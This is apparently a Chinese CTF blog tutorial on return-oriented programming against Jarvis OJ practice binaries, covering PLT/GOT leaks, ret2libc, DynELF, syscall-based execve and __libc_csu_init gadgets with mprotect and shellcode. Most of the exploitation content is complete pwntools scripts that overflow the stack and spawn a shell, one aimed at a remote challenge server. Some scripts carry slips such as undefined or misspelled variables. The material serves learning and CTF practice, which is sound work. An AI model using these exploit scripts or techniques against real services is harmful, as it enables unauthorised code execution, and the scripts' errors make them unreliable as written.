pwn(三)
方法一:寻找程序中system的函数,再布局栈空间,最后成功调用system('/bin/sh')
方法二:将我们的shellcode写入bss段,然后用elf.bss()来获取bss段地址,从而程序流向到我们的shellcode
方法一:payload = 'a' * offset + 4 * 'a' + p32(sys_addr) + p32(4) + p32(sh_addr)
方法二:payload = 'a' * offset + 4 * 'a' + p32(read_addr) + p32(elf.bss()) + p32(0) + p32(elf.bss()) + p32(len(shellcode))
NX保护
有libc的情况
- 开启了NX保护之后,我们程序的bss段和栈段都不具有执行权限,只有读写权限
- 这里分为两种情况,实际上现实场景只有一种情况,第一种给了你一个libc文件,第二种没有给你libc文件,如果没有libc文件的情况下,我们通常是通过pwntools的DlyELF模块去泄露出libc的版本,然后继续利用,我们这里先分析有libc文件的情况
- 环境:kali 2018.3 i386,这个题目给了个可执行的32位ELF文件,然后给了个libc-2.19.so的动态库链接文件
- 原理:我们要执行system(’/bin/sh’)这个函数程序,首先我们要找到system函数和’/bin/sh’这个字符串,然后构造pyload,那么我们的核心问题就是如何找到这个函数和字符串
payload = 'a' * (offset + 4) + system_addr + ret_add + sh_addr
- 在运行这个程序的时候,动态库也会随着程序加载入内存,此时动态库中的system函数也会随之加载入内存,那么我们如何找到内存的system函数
- 我们需要知道另外个东西,plt表和got表
plt表和got表 - 代码共享和动态库的关键
1.这个程序第一次使用write函数时,流程是,会先去call write_plt,此时call了以后,有三段代码会别执行,
2. 就是我们之前写的三段代码,程序会先跳到got表,然后压入一个got表的下标,
3.然后会跳转到plt[0],plt[0]会先跳转到动态连接器的入口,然后去找到这个函数地址,.然后会跳转到plt[0],plt[0]会先跳转到动态连接器的入口,然后去找到这个函数地址
4.然后把这个函数地址复写到got表中,这样第二次调用write函数时,当程序直接跳转got表的时候,就直接执行了这个函数
1.举个比较通俗易懂的例子:我在一个程序里引用了一个外部变量(extern int a),此时程序在编译的时候,并不知道这个a的值,于是就用一个符号来表示这个a(符号:在编译完的程序中,并没有严格的函数或者变量的概念,都是用符号来表示)
GOT表的作用:表中的每一项都是用来保存程序中引用其他符号的绝对地址
2.在编译链接的时候,并没有在GOT表中直接写入地址,而是先用符号表示了这个地址,那么在什么时候地址才会写入GOT表呢,在这个函数第一次调用的时候,这个地址就会被写入,第二次调用的时候就直接调用了这个地址
3.PLT表是什么呢,PLT表相当于是程序和GOT表之间的一个快递员或者说中介,PLT通过引用GOT表中的函数的绝对地址,来把控制转移到实际的函数,而变量就不需要用到PLT表了,直接修改掉外部引用变量的符号就可以了
调用流程:在第一次调用函数时,它会调用默认存根,会加载标识符并调用动态链接器,然后把地址修补到GOT表中,然后下次调用PLT条目时,它就会加载函数的实际地址
- 我们如何利用got表和plt表,也就是说我们只要知道plt表对应system的地址,我们就能找到system函数在内存中的地址了
第一次call write -> write_plt -> 系统初始化去获取write在内存中的地址 -> 写到write_got -> write_plt变成jmp *write_got
- 此外我们还需要知道一点,就是在库文件中的两个函数之间的偏移,和加载进内存之后的偏移是一致的,这样我们就可以通过找到write函数的在内存中的地址,然后计算库文件中write函数和system函数的地址,这样我们可以通过计算得到system函数在内存中的地址,同理我们可以得到/bin/sh字符串的内存地址,这样我们就可以调用system函数来返回一个shell了
write_addr - system_addr = write_libc_addr - system_libc_addr
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
#io = remote('pwn.jarvisoj.com',9879)
# connect
io = process('./level4')
elf = ELF('libc-2.19.so')
pwn = ELF('level4')
# plt
plt_write = pwn.plt['write']
vun_addr = pwn.symbols['vulnerable_function']
# libc
libc_write = elf.symbols['write']
libc_sys = elf.symbols['system']
libc_sh = elf.search('/bin/sh').next()
# got
got_write = pwn.got['write']
# leak the address of got_write
payload = 0x88 * 'a' + 4 * 'a'
payload += p32(plt_write)
payload += p32(vun_addr)
payload += p32(1) + p32(got_write) + p32(4)
io.recvuntil('Input:\n')
io.send(payload)
write_addr = u32(io.recv(4))
# offset
system_addr = write_addr - (libc_write - libc_sys)
sh_addr = write_adadr - (libc_write - libc_sh)
# metasplit
payload = 0x88 * 'a' + 4 * 'a'
payload += p32(system_addr)
payload += p32(4)
payload += p32(sh_addr)
io.send(payload)
io.interactive()
- 这个程序也可以用来处理开启了地址随机化的pwn题,程序开启地址随机化,libc和stack和heap的地址随机化,但是程序的地址是不会随机化的
没有libc的情况
- 在上面的情况中,我们可以利用libc加载入内存,来计算系统函数的内存地址,但是你远程分析的时候,你需要知道他的libc的版本号或者得到他的libc文件才能够去分析,这种时候我们需要用到memory leak去搜索内存得到system函数的地址
- 我们需要用到pwntools的DynELF模块去做,题目和上面的一样,只是不提供libc.so了
- DynElf模块,主要是要写一个leak函数去搜索内存,然后调用DynELF函数,然后用 d.lookup(‘system’,libc),就能够搜索到了system函数的地址
- leak函数的一般格式,一般能够泄露地址的函数是write和puts,这里我们用write,因为程序也用了write,将数据写入bss段就可以了,这样就完成了system函数的调用了
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
#io = process('./level4')
io = remote("pwn2.jarvisoj.com",9880)
e = ELF("./level4")
plt_write = e.plt['write']
plt_read = e.plt['read']
vun_addr = e.symbols['vulnerable_function']
def leak(address):
payload = 0x88 * 'a' + 4 * 'a'
payload += p32(plt_write)
payload += p32(vun_addr)
payload += p32(1) + p32(address) + p32(4)
io.sendline(payload)
data = io.recv(4)
print("%#x => %#x"%(address,hex(data)))
return data
d = DynELF(leak,elf = e)
sys_addr = d.lookup('system','libc')
print 'success'+hex(sys_addr)
# /bin/sh write to bss
payload = 0x88 * 'a' + 4 * 'a'
payload += p32(plt_read)
payload += p32(vun_addr)
payload += p32(0) + p32(e.bss()) + p32(8)
io.send(payload)
io.send('/bin/sh/\x00')
payload = 0x88 * 'a' + 4 * 'a'
payload += p32(sys_addr)
payload += p32(4)
payload += p32(e.bss())
io.send(payload)
io.interactive()
另外一个system函数的调用,syscall
- 其实这也算是system函数调用里面的,只是这里如果不熟悉的人可能就不知道从哪里下手了
- syscall函数:
#define _GNU_SOURCE /* See feature_test_macros(7) */
#include
#include /* For SYS_xxx definitions */
long syscall(long number, ...);
- 例如read函数也可以通过这种系统调用得到,syscall(3,0,address,8),前面是调用号,后面是调用号的参数,如果没有给NULL就可以了,例如,syscall(11,address,NULL,NULL)
- 同理只要你知道了系统调用号就可以完成很多的系统调用了,我这里不想凑字数,所以只贴常用的,具体的可以通过查看
cat /usr/include/asm/unistd.h
,这个文件去了解详细的系统调用号
#define __NR_exit 1
#define __NR_fork 2
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5
#define __NR_close 6
#define __NR_waitpid 7
#define __NR_creat 8
#define __NR_execve 11
......................
- 具体例子的payload还是写一个吧,原不打算写了
- 反汇编代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+5h] [ebp-33h]
int v5; // [esp+9h] [ebp-2Fh]
int v6; // [esp+Dh] [ebp-2Bh]
int v7; // [esp+11h] [ebp-27h]
int v8; // [esp+15h] [ebp-23h]
int v9; // [esp+19h] [ebp-1Fh]
int v10; // [esp+1Dh] [ebp-1Bh]
int v11; // [esp+21h] [ebp-17h]
int v12; // [esp+25h] [ebp-13h]
int v13; // [esp+29h] [ebp-Fh]
__int16 v14; // [esp+2Dh] [ebp-Bh]
char v15; // [esp+2Fh] [ebp-9h]
alarm(0x1Eu);
v4 = 544104771;
v5 = 544567161;
v6 = 1986817907;
v7 = 1752440933;
v8 = 171930473;
v9 = 1702259015;
v10 = 543517984;
v11 = 1920298873;
v12 = 1886351904;
v13 = 1767991395;
v14 = 14958;
v15 = 0;
syscall(4, 1, &v4, 42);
overflow();
return 0;
}
int overflow()
{
char v1; // [esp+Ch] [ebp-Ch]
syscall(3, 0, &v1, 1024);
return syscall(4, 1, &v1, 1024);
}
- 系统调用号3是read,系统调用号4是write,很明显的栈溢出漏洞
- 构造两次payload,一次写入/bin/sh,一次调用execve(’/bin/sh’)就完成了,分了两次发payload,你也找ropgradt去一次就能发送完,pop出栈上的数据就行了,这里用了syscall的11号调用
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
io = process('./rop2')
elf = ELF('rop2')
# syscall
plt_syscall = elf.plt['syscall']
over_flow = elf.symbols['overflow']
# shellcode
shellcode = '/bin/sh'
# payload first
payload = 'a' * 0x10
payload += p32(plt_syscall)
payload += p32(over_flow)
payload += p32(0x3)
payload += p32(0)
payload += p32(elf.bss())
payload += p32(0x8)
io.recvuntil('Can you solve this?\nGive me your ropchain:')
io.sendline(payload)
io.readline()
io.send(shellcode)
payload = 'a' * 0x10
payload += p32(plt_syscall)
payload += p32(4)
payload += p32(0xb)
payload += p32(elf.bss())
payload += p32(0)
payload += p32(0)
io.send(payload)
io.interactive()
64位程序以上pwn类型题解法
- 一道简单的64位程序,不能用system函数,但是给了libc.so的文件,需要用mprotect去改变某一段内存地址的执行属性
- 想到的第一反应就是用mprotect去改变bss段的内存读写属性,改为可以可执行,
- 那么思路就是:首先泄露出write函数地址,找到mprotect函数调用地址,写入一段shellcode到bss段,调用mprotect函数,执行shellcode
- 在64位程序中,函数调用的参数不是仅仅通过压栈来实现的,而是先是通过六个寄存器(rdi,rsi,rdx,rcx,r8,r9),如果还有参数就压入栈中调用,这样我们在调用一个函数之前就必须要找到pop rdi,pop rsi,ret这样的指令去把我们的参数提前压入寄存器才能够调用,这样的指令可以用ROPgadget找到
⚡ root@kncc /work/ctf/pwn-jarvisoj/level_5 ROPgadget --binary level5 --only "pop|ret"
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret
Unique gadgets found: 11
- 在这个程序中,还有一个问题在于,找不到合适的ropgadget去实现我们的write和mprotect调用,这时候我们需要了解另外个东西__libc_csu_init
- 我们利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在,我们也在这个程序的反汇编中看到了
_init_proc
sub_4004A0
_write
_read
___libc_start_main
___gmon_start__
_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
vulnerable_function
main
__libc_csu_init
__libc_csu_fini
_term_proc
write
read
__libc_start_main
- 我们然后去具体看一下__libc_csu_init的反汇编程序
.text:0000000000400650 ; void _libc_csu_init(void)
.text:0000000000400650 public __libc_csu_init
.text:0000000000400650 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:0000000000400650 ; __unwind {
.text:0000000000400650 push r15
.text:0000000000400652 mov r15d, edi
.text:0000000000400655 push r14
.text:0000000000400657 mov r14, rsi
.text:000000000040065A push r13
.text:000000000040065C mov r13, rdx
.text:000000000040065F push r12
.text:0000000000400661 lea r12, __frame_dummy_init_array_entry
.text:0000000000400668 push rbp
.text:0000000000400669 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000400670 push rbx
.text:0000000000400671 sub rbp, r12
.text:0000000000400674 xor ebx, ebx
.text:0000000000400676 sar rbp, 3
.text:000000000040067A sub rsp, 8
.text:000000000040067E call _init_proc
.text:0000000000400683 test rbp, rbp
.text:0000000000400686 jz short loc_4006A6
.text:0000000000400688 nop dword ptr [rax+rax+00000000h]
.text:0000000000400690
.text:0000000000400690 loc_400690: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690 mov rdx, r13
.text:0000000000400693 mov rsi, r14
.text:0000000000400696 mov edi, r15d
.text:0000000000400699 call qword ptr [r12+rbx*8]
.text:000000000040069D add rbx, 1
.text:00000000004006A1 cmp rbx, rbp
.text:00000000004006A4 jnz short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init+36↑j
.text:00000000004006A6 add rsp, 8
.text:00000000004006AA pop rbx
.text:00000000004006AB pop rbp
.text:00000000004006AC pop r12
.text:00000000004006AE pop r13
.text:00000000004006B0 pop r14
.text:00000000004006B2 pop r15
.text:00000000004006B4 retn
.text:00000000004006B4 ; } // starts at 400650
.text:00000000004006B4 __libc_csu_init endp
- 其实主要是loc_4006A6和loc_400690这两个地方,因为这里有ropgadget去让我们使用,然后还顺带能够调用函数,这里我们介绍一下出现在loc_4006A6这个地址的这几个寄存器是干嘛用的,对应__libc_cus_init函数的哪几个参数
- rbx和rbp,这两个参数是用来控制loc_400690,最后是否跳转的,所以这里我们需要特殊布置一下,我们需要让两个参数相等,这样就不会继续执行loc_400690,从而继续我们在栈上的布置,转向我们希望执行的地方,所以rbx = 0,rbp = 1
- 然后我们可以在loc_400690看到r13复制给rdx,r14赋值给rsi,r15赋值给edi,这里有个需要注意的地方,64位程序用到的参数寄存器应该是rdi,这里赋值给了edi,是因为edi是rdi的低32位,所以实际上也赋值给了rdi,后面是直接call r12的,所以我们r12应该用got的地址,而不是plt的地址,原因很简单,plt只是call got的形式,所以这里是直接call got就行了
- 我们总结一下:
* rbx = 0,rbp = 1;是为了控制跳转
* r12是我们需要调用的函数地址
* r13是rdx,也就是第三个参数
* r14是rsi,也就是第二个参数
* r15是rdi,也就是第一个参数
- 这里也很符合从右往左压参的形式
- 现在我们写payload,思路:
1.泄露出wirte的地址
2.调用mprotect函数
3.写入shellcode到bss段并调用shellcode
- 这里我自己用通用Ropgadget出了点问题,我们就好好分析一下m4x师傅的payload,学习,有个flat函数不是很能理解,因为我自己测试的时候,好像不能把数据也能好好加进去,希望大佬评论解答,原来这里是准备写通用Ropgadget,但是出了点问题,哈哈,前面分析就写留着,在下篇在好好补上
⚡ root@kncc /work/ctf/pwn-jarvisoj/level_5 python
Python 2.7.15+ (default, Aug 31 2018, 11:56:52)
[GCC 8.2.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> leak = flat("0x10101010",0x101010,1,2,"")
>>> print leak
0x10101010
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
import sys
context.log_level = 'debug'
context.binary = './level5'
elf = context.binary
io = process('./level5')
libc = ELF('libc-2.19.so')
if __name__ == '__main__'
'''
先找Ropgadget,看看有什么好用的Ropgadget没有
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
其他通用的我们就不看,程序一般的rdx都会大于6,前面我们也分析过了,所以在泄露函数地址的时候
没有rdx的Ropgadget也是可以的,有libc的时候,我们可以去看一下,libc里面的Ropgadget
但是这里的地址不是加载进内存的地址,而是一个相对偏移而已,所以我们需要找到libc文件加载进
内存地址的基址,才能使用下面的Ropgadget,所以我们还是要先泄露出write函数或者puts函数的地址
0x0000000000022b9a : pop rdi ; ret
0x0000000000001b8e : pop rdx ; ret
0x0000000000024885 : pop rsi ; ret
ps: 从m4x师傅那里也学到很多命名的方法,真的是很好用
这里我们只需要用到第一个和第二个参数就可以了,用rdi和rsi,虽然这里的rsi的Ropgadget不是那么
“干净”,但是无所谓,我们达到给rsi这一个寄存器赋值就可以了
'''
prdi = 0x00000000004006b3
pprsi = 0x00000000004006b1
'''
这里我们还是用M4x师傅的flat的吧,实在是太好用了 (#^.^#)
这里有cyclic这个函数,我们去查看了pwntools的源代码,发现这就是个随机生成的函数,贴在下面
这个函数在/pwntools-version/pwnlib/util/cyclic.py
def cyclic(length = None, alphabet = None, n = None):
Arguments:
length: The desired length of the list or None if the entire sequence is desired.
alphabet: List or string to generate the sequence over.
n(int): The length of subsequences that should be unique.
还有sendafter,名字就代表了含义,在pwntools的源代码里面是recvuntil,然后接send,
还有很多类似的函数以后再用
def sendafter(self, delim, data, timeout = default):
"""sendafter(delim, data, timeout = default) -> str
A combination of ``recvuntil(delim, timeout)`` and ``send(data)``.
"""
res = self.recvuntil(delim, timeout)
self.send(data)
return res
'''
leak = flat(cyclic(0x80 + 8),prdi,1,prsi,elf.got['write'],0,elf.got['write'],elf.sym['_start'])
io.sendafter('Input:\n',leak)
libc.address = u64(io.recvuntil('\x7f')[-6:].ljust(8,"\x0")) - libc.sym['write']
'''
这里到\x7f就截断是因为一般程序内存地址都是以7f开头的,所以我们判断是否收到了地址数据,都是发送的数据
是否收到了\7f,而由于我们未对rdx作出设置是因为,经过几次测试,返回的数据字节都大于6,已经满足我们能够
接受到正确的数据,而只接受六个字节的数据的原因是,一般程序表示内存地址,用到六位就已经完全足够了,用不
到八位那么长的地址,所以六位就完全足够程序去使用,而u64位函数必须接受八个字节的数据,所以要补全字节到
八位,一般常用的方法是 u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00")),这里m4师傅的payload这样
写也是同一个道理
m4x师傅的代码看起来真的是很舒服,哈哈,学习了
'''
success("libc -> {:#x}".format(libc.address))
pause()
'''
其实我觉得在整个程序的编写,很重要的一部分是对数据的处理,发送与接受,sendline与不发sendline
recvuntil与recv等等,都是有坑的地方,现在我还不好分辨各个的好处,写的代码和分析的程序都太少了
这里的坑以后填上
m4x师傅的好习惯:计算libc加载进内存的基址,这样算函数基址的时候程序不会很乱
'''
# libc里面的Ropgadgget
prsi = libc.address + 0x0000000000024885
prdx = libc.address + 0x0000000000001b8e
'''
sym:/pwntools-version/elf/elf.py line:492
def sym(self):
""":class:`dotdict`: Alias for :attr:`.ELF.symbols`"""
return self.symbols
这里还有个地方,libc是个类,然后带了很多属性,address是它的基址属性,所以在后面用sym的时候
就不用加上基址了,下面填上定义
def __init__(self, name, address, size, elf=None):
#: Name of the function
self.name = name
#: Address of the function in the encapsulating ELF
self.address = address
#: Size of the function, in bytes
self.size = size
#: Encapsulating ELF object
self.elf = elf
更新类中基址的地方:
def address(self, new):
delta = new-self._address
update = lambda x: x+delta
self.symbols = dotdict({k:update(v) for k,v in self.symbols.items()})
self.plt = dotdict({k:update(v) for k,v in self.plt.items()})
self.got = dotdict({k:update(v) for k,v in self.got.items()})
# Update our view of memory
memory = intervaltree.IntervalTree()
for begin, end, data in self.memory:
memory.addi(update(begin),
update(end),
data)
self.memory = memory
self._address = update(self.address)
突然对源码有了很大的兴趣,有机会要好好熟悉一下,不禁对m4x师傅又多了份敬佩之心
'''
# call mprotect
mprotect = flat(cyclic(0x80 + 8),prdi,0x600000,prsi,0x100,prdx,7,libc.sym['mprotect'],elf.sym['_start'])
io.sendafter('Input:\n',mprotect)
pause()
read = flat(cyclic(0x80 + 8),prdi,0,prsi,elf.bss()+500,prdx,0x100,elf.got['read'],elf.bss()+500)
io.sendafter('Input:\n',read)
io.send(asm(shellcraft.sh()))
io.interactive()
'''
对这里pause很好奇,还不是很理解
'''
上面都是些比较简单的rop,主要是分析程序找好漏洞,的确对刚写漏洞利用脚本的新手不是很友好哈,下次会写点ctf-wiki自己的学习体验,也会用到点更底层的rop技巧